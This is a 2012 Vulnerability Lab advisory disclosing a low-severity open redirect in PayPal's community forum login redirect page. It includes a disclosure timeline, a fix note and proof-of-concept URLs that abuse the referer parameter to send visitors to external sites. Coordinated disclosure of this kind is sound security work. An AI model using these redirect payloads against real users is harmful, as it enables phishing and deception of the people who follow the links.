Paypal Bug Bounty #34 - Redirect Web Vulnerability

Document Title:
===============
Paypal Bug Bounty #34 - Redirect Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=718


Release Date:
=============
2012-12-12


Vulnerability Laboratory ID (VL-ID):
====================================
718


Common Vulnerability Scoring System:
====================================
2.2


Product & Service Introduction:
===============================
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money 
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, 
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some 
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined 
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified 
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy 
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your 
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a 
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary 
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request 
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it 
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency 
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account 
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United 
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale, 
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across 
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers 
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.
Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation 
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.

(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client side Web Vulnerability in the official Paypal Community Website Application.


Vulnerability Disclosure Timeline:
==================================
2012-10-03:	Researcher Notification & Coordination
2012-10-04:	Vendor Notification
2012-11-03:	Vendor Response/Feedback
2012-12-10:	Vendor Fix/Patch
2012-12-11:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================
PayPal Inc
Product: Community (Forums) 2012 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A client side redirect vulnerability is detected in the official PayPal Inc Community Portal Website Application.
The vulnerability allows remote attackers to redirect client side requests to malicious external websites and 
targets without permission. 

The bug is located in the ssoredirectpage module of the paypal community application with the bound vulnerable 
permissiondenied&referer= parameter requests. 

Exploitation requires medium or high user interaction and the attack can be processed without privileged paypal 
application user account. Successful exploitation of the vulnerability can result in client side phishing, 
client site conext manipulation or redirection to external malicious targets.

Vulnerable Section(s):
				[+] Authentication

Vulnerable Module(s):
				[+] ssoredirectpage

Vulnerable Parameter(s):
				[+] &redirectreason=permissiondenied&referer=


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user application account and with 
medium or high required user inter action. For demonstration or reproduce ...

Example:
https://[PAYPAL-COMMUNITY]/[PATH]/[AUTHENTICATION]/[sso redirect]?[flag]+[reason&referer]=[External Redirect Vulnerability]


PoC:
https://www.paypal-community.com/t5/authentication/ssoredirectpage?
infoFlag=on&redirectreason=permissiondenied&referer=https%3A%2F%2Fwww.permission-granted-4-bkm.de

https://www.paypal-community.com/t5/authentication/ssoredirectpage?referer=https%3A%2F
%2Fwww.vulnerability-lab.com&infoFlag=getprofile&token=HA-XHJZSG8TRPH7C


Location=
https://www.paypal-community.com/t5/authentication/ssoredirectpage?
infoFlag=on&redirectreason=permissiondenied&referer=https%3A%2F%2Fwww.paypal-community.com%2Ft5%2Fforums
%2Fpostpage%2Fboard-id%2Fsecurityresearch%3Fform.submit_token%3DNM0ZViFcrnfrtR8je8jpmQ..

URL=https://paypal.d1.sc.omtrdc.net/b/ss/paypalglobal/1/H.24.2/s52166083797818?
AQB=1&ndh=1&t=4%2F9%2F2012%201%3A16%3A20%204%20-120&vmt=51437A79&vmf=paypal.112.2o7.net&ce=UTF-
8&ns=paypal&pageName=x-mepe%3Asignup%3Aappcaller%3Aappcallerauthsuccessful&g=https%3A%2F
%2Fwww.paypal.com%2Fde%2Fcgi-bin%2Fwebscr%3Fcmd%3D_flow%26SESSION
%3DpEIEBDB8baOV40FqNMaoZvXOux_nbyTXQqW5wrBCQ_WU0SqckXPZQctmfTK%26dispatch
%3D5885d80a13c0db1f8e263663d3faee8db02a037e263542f58098410815cf7df7&r=https%3A%2F%2Fwww.paypal.com
%2Fcgi-bin%2Fwebscr%3Fcmd%3D_flow%26SESSION%3DlAisG0H0cvMAGA8w53WAwKerM8eUv84--
qALlwr_JFy302IeJw0vVgU_EC0%26dispatch
%3D5885d80a13c0db1f8e263663d3faee8db02a037e263542f58098410815cf7df7&cc=USD&c26=click%20here.&c27=x-mepe
%3Asignup%3Aappcaller%3Aappcallerauthsuccessful%7Cclick%20here.&v35=click%20here.&c43=x-mepe%3Asignup
%3Aappcaller%3Aappcallerauthsuccessful&c47=D
%3DpageName&pe=lnk_e&s=1366x768&c=24&j=1.7&v=Y&k=Y&bw=1366&bh=522&p=Java(TM)%20Platform%20SE
%207%20U7%3BShockwave%20Flash%3BNitro%20PDF%20Plug-In%3BSilverlight%20Plug-In%3BShockwave%20for
%20Director%3BMicrosoft%20Office%20Live%20Plug-in%20for%20Firefox%3B&pe=lnk_e&pev1=https%3A%2F
%2Fwww.paypal-community.com%2Ft5%2Fauthentication%2Fssoredirectpage%3Freferer%3Dhttps%253A%252F
%252Fwww.google.com%26infoFlag%3Dgetprofile%26token%3DHA-XHJZSG8TRPH7C&pev2=click%20here.&pid=x-mepe
%3Asignup%3Aappcaller%3Aappcallerauthsuccessful&pidt=1&oid=https%3A%2F%2Fwww.paypal-community.com
%2Ft5%2Fauthentication%2Fssoredirectpage%3Freferer%3Dhttps%253A%252F%252Fwww.google.&ot=A&AQE=1

Reference(s):
			../pp-ref3.dat


Solution - Fix & Patch:
=======================
The vulnerability can be patched by parsing in the ssoredirectpage module the referer parameter request.


Security Risk:
==============
The security risk of the client side redirect vulnerability is estimated as low(+).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri ([email protected])


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=========================
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